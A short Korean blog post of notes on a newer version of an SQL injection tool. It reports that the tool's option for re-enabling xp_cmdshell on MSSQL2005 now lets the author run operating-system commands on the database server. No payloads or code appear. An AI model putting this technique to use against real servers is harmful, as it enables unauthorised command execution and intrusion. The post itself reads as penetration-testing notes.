한가지 달라졌던건 MSSQL2005에서 xp_cmdshell을 이용해서 명령어를 실행하는 부분이었습니다.
MSSQL2005에서는 xp_cmdshell이 기본적으로 막혀 있기 때문에 다시 활성화시켜야 합니다. 그런데 2.x 버전에서는 DB Type이 MSSQL2005 with Error인 경우 활성화를 시켜도 잘 실행이 되지 않았습니다.

Pro 3.0에서는 Restore xp_cmdshell 옵션이 잘 먹혀서 명령어 실행하는데 문제가 없었습니다.
단, 여전히 이상한건 결과가 한번이 아니라 5번 정도 나온다는것이었습니다.
왜 그런지는 아직 확실히 파악을 못했습니다. -_-


다른 더 많은 기능들에 대한 분석은 나중에 시간내서 차분히 해봐야겠습니다.

'web > injection' 카테고리의 다른 글

쉽게쓴 sql injection  (0) 2010.11.13
SQL Injection 정리  (0) 2010.01.27
: